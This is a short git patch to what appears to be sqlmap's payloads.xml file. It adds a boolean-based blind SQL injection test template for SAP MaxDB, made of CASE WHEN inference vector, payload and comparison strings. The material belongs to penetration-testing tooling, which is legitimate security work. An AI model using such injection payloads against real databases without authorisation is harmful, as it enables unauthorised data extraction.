From ff9080de4893530c8047c98ff902d94b10dded04 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar <miroslav.stampar@gmail.com>
Date: Mon, 21 Feb 2011 20:59:34 +0000
Subject: [PATCH] MaxDB always precalculates values for both TRUE and FALSE,
 hence we can't trick him to run any "faulty" command (e.g. 1/0). This payload
 is fairly ok because in case of FALSE --> something=NULL is always NULL

---
 xml/payloads.xml | 20 +++++++++++++++++++-
 1 file changed, 19 insertions(+), 1 deletion(-)

diff --git a/xml/payloads.xml b/xml/payloads.xml
index 6e1668b1f..fe8378613 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -745,7 +745,25 @@ Formats:
             <dbms>Microsoft Access</dbms>
         </details>
     </test>
-    <!-- TODO: check against SAP MaxDB -->
+
+    <test>
+        <title>SAP MaxDB boolean-based blind - Parameter replace (original value)</title>
+        <stype>1</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,3</clause>
+        <where>3</where>
+        <vector>(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>
+        <request>
+            <payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>
+        </request>
+        <response>
+            <comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)</comparison>
+        </response>
+        <details>
+            <dbms>SAP MaxDB</dbms>
+        </details>
+    </test>
     <!-- End of boolean-based blind tests - Parameter replace -->